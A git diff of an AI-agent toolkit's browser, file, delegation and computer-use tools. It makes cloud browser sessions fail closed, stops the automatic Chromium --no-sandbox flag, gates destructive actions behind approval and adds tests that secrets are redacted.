+ lambda: "ws://host:9222/devtools/browser/abc",
+ )
+ monkeypatch.setattr(browser_tool, "_ensure_cdp_supervisor", lambda task_id: None)
session = browser_tool._get_session_info("task-5")
provider.create_session.assert_not_called()
assert session["cdp_url"] == "ws://host:9222/devtools/browser/abc"
- def test_fallback_logs_warning_with_provider_name(self, monkeypatch, caplog):
- """Fallback emits a warning log with the provider class name and error."""
- _reset_session_state(monkeypatch)
-
- BrowserUseProviderFake = type("BrowserUseProvider", (), {
- "create_session": Mock(side_effect=ConnectionError("timeout")),
- })
- provider = BrowserUseProviderFake()
- monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider)
- monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: None)
-
- with caplog.at_level(logging.WARNING, logger="tools.browser_tool"):
- session = browser_tool._get_session_info("task-6")
-
- assert session["fallback_from_cloud"] is True
- assert any("BrowserUseProvider" in r.message and "timeout" in r.message
- for r in caplog.records)
-
def test_cloud_failure_does_not_poison_next_task(self, monkeypatch):
- """A fallback for one task_id doesn't affect a new task_id when cloud recovers."""
+ """A failure for one task_id doesn't affect a new task_id when cloud recovers."""
_reset_session_state(monkeypatch)
call_count = 0
@@ -133,7 +101,7 @@ def create_session_flaky(task_id):
return {
"session_name": "cloud-ok",
"bb_session_id": "bb_999",
- "cdp_url": None,
+ "cdp_url": "ws://cloud.example/devtools/browser/999",
"features": {"browser_use": True},
}
@@ -141,26 +109,32 @@ def create_session_flaky(task_id):
provider.create_session.side_effect = create_session_flaky
monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider)
monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: None)
+ monkeypatch.setattr(browser_tool, "_ensure_cdp_supervisor", lambda task_id: None)
- # First call fails → fallback
- s1 = browser_tool._get_session_info("task-a")
- assert s1["fallback_from_cloud"] is True
+ with pytest.raises(RuntimeError, match="refusing to fall back to local Chromium"):
+ browser_tool._get_session_info("task-a")
- # Second call (different task) → cloud succeeds
s2 = browser_tool._get_session_info("task-b")
assert "fallback_from_cloud" not in s2
assert s2["session_name"] == "cloud-ok"
- def test_cloud_returns_invalid_session_triggers_fallback(self, monkeypatch):
- """Cloud provider returning None or empty dict triggers fallback."""
+ @pytest.mark.parametrize(
+ "session_metadata",
+ [None, {}, {"session_name": "cloud-sess", "cdp_url": None}, {"cdp_url": " "}],
+ )
+ def test_cloud_returns_invalid_session_fails_closed(self, monkeypatch, session_metadata):
+ """Invalid cloud metadata must not silently select local --session mode."""
_reset_session_state(monkeypatch)
provider = Mock()
- provider.create_session.return_value = None
+ provider.create_session.return_value = session_metadata
+ create_local = Mock(wraps=browser_tool._create_local_session)
monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider)
monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: None)
+ monkeypatch.setattr(browser_tool, "_create_local_session", create_local)
- session = browser_tool._get_session_info("task-7")
+ with pytest.raises(RuntimeError):
+ browser_tool._get_session_info("task-7")
- assert session["fallback_from_cloud"] is True
- assert "invalid session" in session["fallback_reason"]
+ create_local.assert_not_called()
+ assert "task-7" not in browser_tool._active_sessions
diff --git a/tests/tools/test_browser_hardening.py b/tests/tools/test_browser_hardening.py
index 374f7af614ac..4ae94334ee97 100644
--- a/tests/tools/test_browser_hardening.py
+++ b/tests/tools/test_browser_hardening.py
@@ -2,7 +2,7 @@
import inspect
import os
-from unittest.mock import MagicMock, patch
+from unittest.mock import MagicMock, mock_open, patch
import pytest
@@ -128,6 +128,51 @@ def test_lru_cached(self):
"_discover_homebrew_node_dirs should be decorated with lru_cache"
+# ---------------------------------------------------------------------------
+# Browser subprocess sandbox flags
+# ---------------------------------------------------------------------------
+
+class TestBrowserSandboxFlags:
+
+ def test_run_browser_command_does_not_auto_disable_chromium_sandbox_as_root(self, tmp_path):
+ """Root execution must not silently opt in to Chromium --no-sandbox."""
+ import tools.browser_tool as bt
+
+ captured_env = {}
+ mock_proc = MagicMock()
+ mock_proc.returncode = 0
+ mock_proc.wait.return_value = 0
+
+ def capture_popen(cmd, **kwargs):
+ captured_env.update(kwargs.get("env", {}))
+ return mock_proc
+
+ fake_session = {
+ "session_name": "test-session",
+ "session_id": "test-id",
+ "cdp_url": None,
+ }
+
+ with patch("tools.browser_tool._find_agent_browser", return_value="/usr/bin/agent-browser"), \
+ patch("tools.browser_tool._chromium_installed", return_value=True), \
+ patch("tools.browser_tool._get_session_info", return_value=fake_session), \
+ patch("tools.browser_tool._socket_safe_tmpdir", return_value=str(tmp_path)), \
+ patch("tools.browser_tool._discover_homebrew_node_dirs", return_value=[]), \
+ patch("tools.browser_tool._get_browser_engine", return_value="auto"), \
+ patch("tools.browser_tool._is_camofox_mode", return_value=False), \
+ patch("tools.browser_tool.os.geteuid", return_value=0), \
+ patch("subprocess.Popen", side_effect=capture_popen), \
+ patch("os.open", return_value=99), \
+ patch("os.close"), \
+ patch("tools.interrupt.is_interrupted", return_value=False), \
+ patch.dict(os.environ, {"PATH": "/usr/bin:/bin", "HOME": "/home/test"}, clear=True):
+ with patch("builtins.open", mock_open(read_data='{"success": true}')):
+ result = bt._run_browser_command("test-task", "navigate", ["https://example.com"])
+
+ assert result["success"] is True
+ assert "AGENT_BROWSER_CHROME_FLAGS" not in captured_env
+
+
# ---------------------------------------------------------------------------
# Security: URL-decoded secret check
# ---------------------------------------------------------------------------
diff --git a/tests/tools/test_computer_use.py b/tests/tools/test_computer_use.py
index 58700dcaaf20..cddf38029f14 100644
--- a/tests/tools/test_computer_use.py
+++ b/tests/tools/test_computer_use.py
@@ -33,6 +33,16 @@ def noop_backend():
return _get_backend()
+@pytest.fixture
+def approve_computer_use():
+ """Approve one computer_use action so routing tests can reach the backend."""
+ from tools.computer_use.tool import set_approval_callback
+
+ set_approval_callback(lambda action, args, summary: "approve_once")
+ yield
+ set_approval_callback(None)
+
+
# ---------------------------------------------------------------------------
# Schema & registration
# ---------------------------------------------------------------------------
@@ -127,7 +137,7 @@ def test_wait_clamps_long_waits(self, noop_backend):
assert parsed["ok"] is True
assert parsed["action"] == "wait"
- def test_click_without_target_returns_error(self, noop_backend):
+ def test_click_without_target_returns_error(self, noop_backend, approve_computer_use):
from tools.computer_use.tool import handle_computer_use
out = handle_computer_use({"action": "click"})
parsed = json.loads(out)
@@ -135,7 +145,7 @@ def test_click_without_target_returns_error(self, noop_backend):
# for the cua backend. Just make sure the noop path doesn't crash.
assert "action" in parsed or "error" in parsed
- def test_click_by_element_routes_to_backend(self, noop_backend):
+ def test_click_by_element_routes_to_backend(self, noop_backend, approve_computer_use):
from tools.computer_use.tool import handle_computer_use
handle_computer_use({"action": "click", "element": 7})
call_names = [c[0] for c in noop_backend.calls]
@@ -143,19 +153,48 @@ def test_click_by_element_routes_to_backend(self, noop_backend):
click_kw = next(c[1] for c in noop_backend.calls if c[0] == "click")
assert click_kw.get("element") == 7
- def test_double_click_sets_click_count(self, noop_backend):
+ def test_double_click_sets_click_count(self, noop_backend, approve_computer_use):
from tools.computer_use.tool import handle_computer_use
handle_computer_use({"action": "double_click", "element": 3})
click_kw = next(c[1] for c in noop_backend.calls if c[0] == "click")
assert click_kw["click_count"] == 2
- def test_right_click_sets_button(self, noop_backend):
+ def test_right_click_sets_button(self, noop_backend, approve_computer_use):
from tools.computer_use.tool import handle_computer_use
handle_computer_use({"action": "right_click", "element": 3})
click_kw = next(c[1] for c in noop_backend.calls if c[0] == "click")
assert click_kw["button"] == "right"
+# ---------------------------------------------------------------------------
+# Destructive action approval
+# ---------------------------------------------------------------------------
+
+class TestApprovalGate:
+ def test_destructive_action_without_callback_fails_closed(self, noop_backend):
+ from tools.computer_use.tool import handle_computer_use
+
+ out = handle_computer_use({"action": "type", "text": "APPROVAL_BYPASS_SENTINEL"})
+ parsed = json.loads(out)
+
+ assert parsed == {
+ "error": "approval required but no approval callback is registered",
+ "action": "type",
+ }
+ assert noop_backend.calls == []
+
+ def test_destructive_action_with_approval_callback_routes_to_backend(self, noop_backend):
+ from tools.computer_use.tool import handle_computer_use, set_approval_callback
+
+ set_approval_callback(lambda action, args, summary: "approve_once")
+ out = handle_computer_use({"action": "type", "text": "approved"})
+ parsed = json.loads(out)
+
+ assert parsed["ok"] is True
+ assert parsed["action"] == "type"
+ assert ("type", {"text": "approved"}) in noop_backend.calls
+
+
# ---------------------------------------------------------------------------
# Safety guards (type / key block lists)
# ---------------------------------------------------------------------------
@@ -188,13 +227,13 @@ def test_blocked_key_combos(self, keys, noop_backend):
assert "error" in parsed
assert "blocked key combo" in parsed["error"]
- def test_safe_key_combos_pass(self, noop_backend):
+ def test_safe_key_combos_pass(self, noop_backend, approve_computer_use):
from tools.computer_use.tool import handle_computer_use
out = handle_computer_use({"action": "key", "keys": "cmd+s"})
parsed = json.loads(out)
assert "error" not in parsed
- def test_type_with_empty_string_is_allowed(self, noop_backend):
+ def test_type_with_empty_string_is_allowed(self, noop_backend, approve_computer_use):
from tools.computer_use.tool import handle_computer_use
out = handle_computer_use({"action": "type", "text": ""})
parsed = json.loads(out)
diff --git a/tests/tools/test_delegate.py b/tests/tools/test_delegate.py
index 468fbdaf942f..9bdb73348d2d 100644
--- a/tests/tools/test_delegate.py
+++ b/tests/tools/test_delegate.py
@@ -890,9 +890,7 @@ def test_direct_endpoint_uses_configured_base_url_and_api_key(self):
self.assertEqual(creds["api_key"], "local-key")
self.assertEqual(creds["api_mode"], "chat_completions")
- def test_direct_endpoint_returns_none_api_key_when_not_configured(self):
- # When base_url is set without api_key, api_key should be None so
- # _build_child_agent inherits the parent's key (effective_api_key = override or parent).
+ def test_direct_endpoint_uses_openai_env_key_when_api_key_not_configured(self):
parent = _make_mock_parent(depth=0)
cfg = {
"model": "qwen2.5-coder",
@@ -900,11 +898,10 @@ def test_direct_endpoint_returns_none_api_key_when_not_configured(self):
}
with patch.dict(os.environ, {"OPENAI_API_KEY": "env-openai-key"}, clear=False):
creds = _resolve_delegation_credentials(cfg, parent)
- self.assertIsNone(creds["api_key"])
+ self.assertEqual(creds["api_key"], "env-openai-key")
self.assertEqual(creds["provider"], "custom")
- def test_direct_endpoint_no_raise_when_only_provider_env_key_present(self):
- # Even if OPENAI_API_KEY is absent, no ValueError — _build_child_agent uses parent key.
+ def test_direct_endpoint_requires_explicit_or_openai_api_key(self):
parent = _make_mock_parent(depth=0)
cfg = {
"model": "qwen2.5-coder",
@@ -918,9 +915,10 @@ def test_direct_endpoint_no_raise_when_only_provider_env_key_present(self):
},
clear=False,
):
- creds = _resolve_delegation_credentials(cfg, parent)
- self.assertIsNone(creds["api_key"])
- self.assertEqual(creds["provider"], "custom")
+ with self.assertRaises(ValueError) as ctx:
+ _resolve_delegation_credentials(cfg, parent)
+ self.assertIn("delegation.base_url", str(ctx.exception))
+ self.assertIn("delegation.api_key", str(ctx.exception))
@patch("hermes_cli.runtime_provider.resolve_runtime_provider")
@@ -961,6 +959,36 @@ def test_missing_config_keys_inherit_parent(self):
class TestDelegationProviderIntegration(unittest.TestCase):
"""Integration tests: delegation config → _run_single_child → AIAgent construction."""
+
+ @patch("tools.delegate_tool._load_config")
+ def test_custom_base_url_without_api_key_does_not_inherit_parent_secret(self, mock_cfg):
+ mock_cfg.return_value = {"max_iterations": 45}
+ parent = _make_mock_parent(depth=0)
+ parent.api_key = "parent-provider-secret"
+
+ with patch("run_agent.AIAgent") as MockAgent:
+ mock_child = MagicMock()
+ MockAgent.return_value = mock_child
+
+ _build_child_agent(
+ task_index=0,
+ goal="test",
+ context="",
+ toolsets=None,
+ model=None,
+ parent_agent=parent,
+ max_iterations=45,
+ task_count=1,
+ override_provider="custom",
+ override_base_url="http://localhost:1234/v1",
+ override_api_key=None,
+ override_api_mode="chat_completions",
+ )
+
+ _, kwargs = MockAgent.call_args
+ self.assertEqual(kwargs["base_url"], "http://localhost:1234/v1")
+ self.assertIsNone(kwargs["api_key"])
+
@patch("tools.delegate_tool._load_config")
@patch("tools.delegate_tool._resolve_delegation_credentials")
def test_config_provider_credentials_reach_child_agent(self, mock_creds, mock_cfg):
diff --git a/tests/tools/test_file_tools.py b/tests/tools/test_file_tools.py
index a951ed25cb74..0eb964644473 100644
--- a/tests/tools/test_file_tools.py
+++ b/tests/tools/test_file_tools.py
@@ -32,6 +32,67 @@ def test_returns_file_content(self, mock_get):
assert result["total_lines"] == 2
mock_ops.read_file.assert_called_once_with("/tmp/test.txt", 1, 500)
+ @patch("tools.file_tools._get_file_ops")
+ def test_redacts_env_secrets_for_non_code_files(self, mock_get, monkeypatch):
+ monkeypatch.setattr("agent.redact._REDACT_ENABLED", True)
+ mock_ops = MagicMock()
+ from tools.file_operations import ReadResult
+
+ mock_ops.read_file.return_value = ReadResult(
+ content="API_TOKEN=opaque-secret-value-123456",
+ total_lines=1,
+ )
+ mock_get.return_value = mock_ops
+
+ from tools.file_tools import read_file_tool
+ result = json.loads(read_file_tool("/tmp/leak.env", task_id="read-env-redact"))
+ assert "opaque-secret-value" not in result["content"]
+ assert "API_TOKEN=" in result["content"]
+
+ @patch("tools.file_tools._get_file_ops")
+ def test_preserves_source_code_false_positive_values(self, mock_get, monkeypatch):
+ monkeypatch.setattr("agent.redact._REDACT_ENABLED", True)
+ mock_ops = MagicMock()
+ from tools.file_operations import ReadResult
+
+ mock_ops.read_file.return_value = ReadResult(
+ content="MAX_TOKENS=4096\nfixture = {\"apiKey\": \"test\"}",
+ total_lines=2,
+ )
+ mock_get.return_value = mock_ops
+
+ from tools.file_tools import read_file_tool
+ result = json.loads(read_file_tool("/tmp/source.py", task_id="read-code-preserve"))
+ assert "MAX_TOKENS=4096" in result["content"]
+ assert '"apiKey": "test"' in result["content"]
+
+ @patch("tools.file_tools._get_file_ops")
+ def test_redacts_secrets_for_symlink_pointing_to_non_code_file(
+ self, mock_get, monkeypatch, tmp_path
+ ):
+ """A symlink named secrets.py → secrets.env must not bypass ENV redaction."""
+ monkeypatch.setattr("agent.redact._REDACT_ENABLED", True)
+ env_file = tmp_path / "secrets.env"
+ env_file.write_text("API_TOKEN=opaque-secret-value-123456", encoding="utf-8")
+ symlink = tmp_path / "secrets.py"
+ symlink.symlink_to(env_file)
+
+ mock_ops = MagicMock()
+ from tools.file_operations import ReadResult
+
+ mock_ops.read_file.return_value = ReadResult(
+ content="API_TOKEN=opaque-secret-value-123456",
+ total_lines=1,
+ )
+ mock_get.return_value = mock_ops
+
+ from tools.file_tools import read_file_tool
+ result = json.loads(
+ read_file_tool(str(symlink), task_id="read-symlink-bypass")
+ )
+ assert "opaque-secret-value" not in result["content"]
+ assert "API_TOKEN=" in result["content"]
+
@patch("tools.file_tools._get_file_ops")
def test_custom_offset_and_limit(self, mock_get):
mock_ops = MagicMock()
@@ -226,6 +287,80 @@ def test_search_calls_file_ops(self, mock_get):
assert "matches" in result
mock_ops.search.assert_called_once()
+ @patch("tools.file_tools._get_file_ops")
+ def test_search_redacts_env_and_json_secrets_for_non_code_files(self, mock_get, monkeypatch):
+ monkeypatch.setattr("agent.redact._REDACT_ENABLED", True)
+ mock_ops = MagicMock()
+ from tools.file_operations import SearchMatch, SearchResult
+
+ mock_ops.search.return_value = SearchResult(
+ matches=[
+ SearchMatch("/tmp/leak.env", 1, "API_TOKEN=opaque-secret-value-123456"),
+ SearchMatch("/tmp/creds.json", 1, '{"apiKey": "opaque-json-secret-123456"}'),
+ ],
+ total_count=2,
+ )
+ mock_get.return_value = mock_ops
+
+ from tools.file_tools import search_tool
+ result = json.loads(search_tool(pattern="opaque", task_id="search-non-code-redact"))
+ contents = "\n".join(match["content"] for match in result["matches"])
+ assert "opaque-secret-value" not in contents
+ assert "opaque-json-secret" not in contents
+ assert "API_TOKEN=" in contents
+ assert '"apiKey":' in contents
+
+ @patch("tools.file_tools._get_file_ops")
+ def test_search_preserves_source_code_false_positive_values(self, mock_get, monkeypatch):
+ monkeypatch.setattr("agent.redact._REDACT_ENABLED", True)
+ mock_ops = MagicMock()
+ from tools.file_operations import SearchMatch, SearchResult
+
+ mock_ops.search.return_value = SearchResult(
+ matches=[
+ SearchMatch("/tmp/source.ts", 1, "const MAX_TOKENS=4096;"),
+ SearchMatch("/tmp/source.ts", 2, 'fixture = {"apiKey": "test"};'),
+ ],
+ total_count=2,
+ )
+ mock_get.return_value = mock_ops
+
+ from tools.file_tools import search_tool
+ result = json.loads(search_tool(pattern="apiKey", task_id="search-code-preserve"))
+ contents = "\n".join(match["content"] for match in result["matches"])
+ assert "MAX_TOKENS=4096" in contents
+ assert '"apiKey": "test"' in contents
+
+ @patch("tools.file_tools._get_file_ops")
+ def test_search_redacts_secrets_for_symlink_pointing_to_non_code_file(
+ self, mock_get, monkeypatch, tmp_path
+ ):
+ """A match whose displayed path ends in .py but resolves to .env must be redacted."""
+ monkeypatch.setattr("agent.redact._REDACT_ENABLED", True)
+ env_file = tmp_path / "creds.env"
+ env_file.write_text("API_TOKEN=opaque-secret-value-123456", encoding="utf-8")
+ symlink = tmp_path / "creds.py"
+ symlink.symlink_to(env_file)
+
+ mock_ops = MagicMock()
+ from tools.file_operations import SearchMatch, SearchResult
+
+ mock_ops.search.return_value = SearchResult(
+ matches=[
+ SearchMatch(str(symlink), 1, "API_TOKEN=opaque-secret-value-123456"),
+ ],
+ total_count=1,
+ )
+ mock_get.return_value = mock_ops
+
+ from tools.file_tools import search_tool
+ result = json.loads(
+ search_tool(pattern="opaque", task_id="search-symlink-bypass")
+ )
+ content = result["matches"][0]["content"]
+ assert "opaque-secret-value" not in content
+ assert "API_TOKEN=" in content
+
@patch("tools.file_tools._get_file_ops")
def test_search_passes_all_params(self, mock_get):
mock_ops = MagicMock()
diff --git a/tests/tools/test_send_message_tool.py b/tests/tools/test_send_message_tool.py
index fa810eb5c54d..735c4678a3da 100644
--- a/tests/tools/test_send_message_tool.py
+++ b/tests/tools/test_send_message_tool.py
@@ -28,6 +28,7 @@ def _reset_signal_scheduler():
_send_matrix_via_adapter,
_send_signal,
_send_telegram,
+ _send_telegram_message_with_retry,
_send_to_platform,
send_message_tool,
)
@@ -741,6 +742,41 @@ def test_transient_bad_gateway_retries_text_send(self, monkeypatch):
assert bot.send_message.await_count == 2
sleep_mock.assert_awaited_once()
+ def test_retry_after_above_cap_fails_without_sleeping(self, monkeypatch):
+ class RetryAfterError(Exception):
+ retry_after = 1_000_000
+
+ bot = self._make_bot()
+ bot.send_message = AsyncMock(side_effect=RetryAfterError("Too Many Requests"))
+
+ with patch("asyncio.sleep", new=AsyncMock()) as sleep_mock:
+ with pytest.raises(RetryAfterError):
+ asyncio.run(
+ _send_telegram_message_with_retry(bot, chat_id=123, text="hello")
+ )
+
+ bot.send_message.assert_awaited_once()
+ sleep_mock.assert_not_awaited()
+
+ def test_retry_after_within_cap_still_retries(self, monkeypatch):
+ class RetryAfterError(Exception):
+ retry_after = 2
+
+ bot = self._make_bot()
+ bot.send_message = AsyncMock(
+ side_effect=[RetryAfterError("Too Many Requests"), SimpleNamespace(message_id=2)]
+ )
+
+ with patch("asyncio.sleep", new=AsyncMock()) as sleep_mock:
+ result = asyncio.run(
+ _send_telegram_message_with_retry(bot, chat_id=123, text="hello")
+ )
+
+ assert result.message_id == 2
+ assert bot.send_message.await_count == 2
+ sleep_mock.assert_awaited_once_with(2.0)
+
+
class TestSendTelegramThreadIdMapping:
"""General-topic mapping in _send_telegram (issue #22267).
diff --git a/tools/approval.py b/tools/approval.py
index df29578ba61e..1b9205b1bedd 100644
--- a/tools/approval.py
+++ b/tools/approval.py
@@ -32,6 +32,10 @@
"approval_session_key",
default="",
)
+_approval_run_id: contextvars.ContextVar[str] = contextvars.ContextVar(
+ "approval_run_id",
+ default="",
+)
def _fire_approval_hook(hook_name: str, **kwargs) -> None:
@@ -70,6 +74,21 @@ def reset_current_session_key(token: contextvars.Token[str]) -> None:
_approval_session_key.reset(token)
+def set_current_run_id(run_id: str) -> contextvars.Token[str]:
+ """Bind the active API run id to pending gateway approvals."""
+ return _approval_run_id.set(run_id or "")
+
+
+def reset_current_run_id(token: contextvars.Token[str]) -> None:
+ """Restore the prior API run id context."""
+ _approval_run_id.reset(token)
+
+
+def get_current_run_id() -> str:
+ """Return the active API run id for approval binding, if any."""
+ return _approval_run_id.get()
+
+
def get_current_session_key(default: str = "default") -> str:
"""Return the active session key, preferring context-local state.
diff --git a/tools/browser_camofox_state.py b/tools/browser_camofox_state.py
index 3a2bde03fa5b..fb8bf7cc898a 100644
--- a/tools/browser_camofox_state.py
+++ b/tools/browser_camofox_state.py
@@ -9,6 +9,7 @@
from __future__ import annotations
+import secrets
import uuid
from pathlib import Path
from typing import Dict, Optional
@@ -17,6 +18,7 @@
CAMOFOX_STATE_DIR_NAME = "browser_auth"
CAMOFOX_STATE_SUBDIR = "camofox"
+CAMOFOX_SECRET_FILE = "identity_secret"
def get_camofox_state_dir() -> Path:
@@ -24,6 +26,33 @@ def get_camofox_state_dir() -> Path:
return get_hermes_home() / CAMOFOX_STATE_DIR_NAME / CAMOFOX_STATE_SUBDIR
+def _load_or_create_identity_secret() -> str:
+ """Return an unguessable profile-scoped secret for managed identities."""
+ import os
+ state_dir = get_camofox_state_dir()
+ state_dir.mkdir(parents=True, exist_ok=True)
+ secret_path = state_dir / CAMOFOX_SECRET_FILE
+
+ if secret_path.exists():
+ return secret_path.read_text(encoding="utf-8").strip()
+
+ secret = secrets.token_hex(32)
+ try:
+ fd = os.open(secret_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
+ with os.fdopen(fd, "w", encoding="utf-8") as f:
+ f.write(secret)
+ except FileExistsError:
+ return secret_path.read_text(encoding="utf-8").strip()
+ except OSError:
+ # Fallback for filesystems with limited permission/flags support
+ secret_path.write_text(secret, encoding="utf-8")
+ try:
+ secret_path.chmod(0o600)
+ except OSError:
+ pass
+ return secret
+
+
def get_camofox_identity(task_id: Optional[str] = None) -> Dict[str, str]:
"""Return the stable Hermes-managed Camofox identity for this profile.
@@ -31,15 +60,15 @@ def get_camofox_identity(task_id: Optional[str] = None) -> Dict[str, str]:
The session key is scoped to the logical browser task so newly created
tabs within the same profile reuse the same identity contract.
"""
- scope_root = str(get_camofox_state_dir())
+ identity_secret = _load_or_create_identity_secret()
logical_scope = task_id or "default"
user_digest = uuid.uuid5(
uuid.NAMESPACE_URL,
- f"camofox-user:{scope_root}",
+ f"camofox-user:{identity_secret}",
).hex[:10]
session_digest = uuid.uuid5(
uuid.NAMESPACE_URL,
- f"camofox-session:{scope_root}:{logical_scope}",
+ f"camofox-session:{identity_secret}:{logical_scope}",
).hex[:16]
return {
"user_id": f"hermes_{user_digest}",
diff --git a/tools/browser_tool.py b/tools/browser_tool.py
index 81a54842ccf5..02f068141624 100644
--- a/tools/browser_tool.py
+++ b/tools/browser_tool.py
@@ -213,15 +213,15 @@ def _blank_browser_after_block(effective_task_id: str) -> None:
except Exception:
logger.debug("Failed to blank browser after unsafe eval side effect", exc_info=True)
# Standard PATH entries for environments with minimal PATH (e.g. systemd services).
-# Includes Android/Termux and macOS Homebrew locations needed for agent-browser,
-# npx, node, and Android's glibc runner (grun).
+# Includes Android/Termux locations needed for agent-browser and Android's
+# glibc runner (grun), plus system directories. User-writable package-manager
+# prefixes such as Homebrew (``/opt/homebrew/{bin,sbin}``,
+# ``/usr/local/{bin,sbin}``) are intentionally not injected when absent from
+# the operator-provided PATH — those are trust roots an operator may have
+# deliberately removed (restricted-PATH launches).
_SANE_PATH_DIRS = (
"/data/data/com.termux/files/usr/bin",
"/data/data/com.termux/files/usr/sbin",
- "/opt/homebrew/bin",
- "/opt/homebrew/sbin",
- "/usr/local/sbin",
- "/usr/local/bin",
"/usr/sbin",
"/usr/bin",
"/sbin",
@@ -253,20 +253,38 @@ def _discover_homebrew_node_dirs() -> tuple[str, ...]:
return tuple(dirs)
-def _browser_candidate_path_dirs() -> list[str]:
- """Return ordered browser CLI PATH candidates shared by discovery and execution."""
+def _browser_candidate_path_dirs(existing_path: str = "") -> list[str]:
+ """Return safe browser CLI PATH candidates shared by discovery and execution.
+
+ User-writable trust roots (Homebrew prefix, Hermes-managed Node bin) are
+ only added when ``existing_path`` already lists that root. This preserves
+ restricted-PATH launches (cron, systemd, locked-down operator configs)
+ while still letting normal interactive installs find their toolchains.
+ """
+ path_parts = [p for p in (existing_path or "").split(os.pathsep) if p]
+ candidates = list(_SANE_PATH_DIRS)
+
+ if any(p.startswith("/opt/homebrew/") or p == "/opt/homebrew" for p in path_parts):
+ candidates.extend(_discover_homebrew_node_dirs())
+
+ if any(p.startswith("/usr/local/") or p == "/usr/local" for p in path_parts):
+ candidates.extend(("/usr/local/bin", "/usr/local/sbin"))
+
hermes_home = get_hermes_home()
hermes_node_bin = str(hermes_home / "node" / "bin")
- return [hermes_node_bin, *list(_discover_homebrew_node_dirs()), *_SANE_PATH_DIRS]
+ if hermes_node_bin in path_parts:
+ candidates.append(hermes_node_bin)
+
+ return candidates
def _merge_browser_path(existing_path: str = "") -> str:
- """Prepend browser-specific PATH fallbacks without reordering existing entries."""
+ """Prepend safe browser PATH fallbacks without reordering existing entries."""
path_parts = [p for p in (existing_path or "").split(os.pathsep) if p]
existing_parts = set(path_parts)
prefix_parts: list[str] = []
- for part in _browser_candidate_path_dirs():
+ for part in _browser_candidate_path_dirs(existing_path):
if not part or part in existing_parts or part in prefix_parts:
continue
if os.path.isdir(part):
@@ -1693,37 +1711,42 @@ def _get_session_info(task_id: Optional[str] = None) -> Dict[str, str]:
if provider is None:
session_info = _create_local_session(task_id)
else:
+ provider_name = type(provider).__name__
try:
session_info = provider.create_session(task_id)
- # Validate cloud provider returned a usable session
- if not session_info or not isinstance(session_info, dict):
- raise ValueError(f"Cloud provider returned invalid session: {session_info!r}")
- if session_info.get("cdp_url"):
- # Some cloud providers (including Browser-Use v3) return an HTTP
- # CDP discovery URL instead of a raw websocket endpoint.
- session_info = dict(session_info)
- session_info["cdp_url"] = _resolve_cdp_override(str(session_info["cdp_url"]))
except Exception as e:
- provider_name = type(provider).__name__
- logger.warning(
- "Cloud provider %s failed (%s); attempting fallback to local "
- "Chromium for task %s",
- provider_name, e, task_id,
- exc_info=True,
+ raise RuntimeError(
+ f"Cloud browser provider {provider_name} failed to create a "
+ "session; refusing to fall back to local Chromium because that "
+ "would move browser execution onto the Hermes host"
+ ) from e
+
+ # Validate cloud provider returned a usable remote session. A cloud
+ # configuration is an isolation boundary: missing CDP metadata must
+ # fail closed rather than implicitly selecting local --session mode.
+ if not session_info or not isinstance(session_info, dict):
+ raise RuntimeError(
+ f"Cloud browser provider {provider_name} returned invalid "
+ f"session metadata: {session_info!r}"
+ )
+ raw_cdp_url = str(session_info.get("cdp_url") or "").strip()
+ if not raw_cdp_url:
+ raise RuntimeError(
+ f"Cloud browser provider {provider_name} returned session "
+ "metadata without a CDP URL; refusing to fall back to local "
+ "Chromium"
+ )
+
+ # Some cloud providers (including Browser-Use v3) return an HTTP
+ # CDP discovery URL instead of a raw websocket endpoint.
+ session_info = dict(session_info)
+ session_info["cdp_url"] = _resolve_cdp_override(raw_cdp_url)
+ if not session_info["cdp_url"]:
+ raise RuntimeError(
+ f"Cloud browser provider {provider_name} returned session "
+ "metadata without a CDP URL; refusing to fall back to local "
+ "Chromium"
)
- try:
- session_info = _create_local_session(task_id)
- except Exception as local_error:
- raise RuntimeError(
- f"Cloud provider {provider_name} failed ({e}) and local "
- f"fallback also failed ({local_error})"
- ) from e
- # Mark session as degraded for observability
- if isinstance(session_info, dict):
- session_info = dict(session_info)
- session_info["fallback_from_cloud"] = True
- session_info["fallback_reason"] = str(e)
- session_info["fallback_provider"] = provider_name
with _cleanup_lock:
# Double-check: another thread may have created a session while we
@@ -1779,9 +1802,11 @@ def _find_agent_browser() -> str:
_agent_browser_resolved = True
return which_result
- # Build an extended search PATH including Hermes-managed Node, macOS
- # versioned Homebrew installs, and fallback system dirs like Termux.
- extended_path = _merge_browser_path("")
+ # Build an extended search PATH from safe fallback dirs plus any toolchain
+ # prefixes the operator already opted into via the process PATH (Homebrew,
+ # Hermes-managed Node, /usr/local). Restricted-PATH launches stay
+ # restricted; normal interactive installs still discover their toolchains.
+ extended_path = _merge_browser_path(os.environ.get("PATH", ""))
if extended_path:
which_result = shutil.which("agent-browser", path=extended_path)
if which_result:
@@ -1981,34 +2006,6 @@ def _run_browser_command(
idle_ms = str(BROWSER_SESSION_INACTIVITY_TIMEOUT * 1000)
browser_env["AGENT_BROWSER_IDLE_TIMEOUT_MS"] = idle_ms
- # Inject --no-sandbox when needed (issue #15765):
- # - Running as root: Chromium always refuses to start without it
- # - Ubuntu 23.10+ / AppArmor systems: unprivileged user namespaces
- # are restricted, causing Chromium to exit with "No usable sandbox"
- # even for non-root users running under systemd or containers.
- if "AGENT_BROWSER_CHROME_FLAGS" not in browser_env:
- _needs_sandbox_bypass = False
- if hasattr(os, "geteuid") and os.geteuid() == 0:
- _needs_sandbox_bypass = True
- logger.debug("browser: running as root — injecting --no-sandbox")
- else:
- # Detect AppArmor user namespace restrictions (Ubuntu 23.10+)
- _userns_restrict = "/proc/sys/kernel/apparmor_restrict_unprivileged_userns"
- try:
- with open(_userns_restrict, encoding="utf-8") as _f:
- if _f.read().strip() == "1":
- _needs_sandbox_bypass = True
- logger.debug(
- "browser: AppArmor userns restrictions detected — "
- "injecting --no-sandbox"
- )
- except OSError:
- pass
- if _needs_sandbox_bypass:
- browser_env["AGENT_BROWSER_CHROME_FLAGS"] = (
- "--no-sandbox --disable-dev-shm-usage"
- )
-
# Use temp files for stdout/stderr instead of pipes.
# agent-browser starts a background daemon that inherits file
# descriptors. With capture_output=True (pipes), the daemon keeps
@@ -2272,11 +2269,10 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
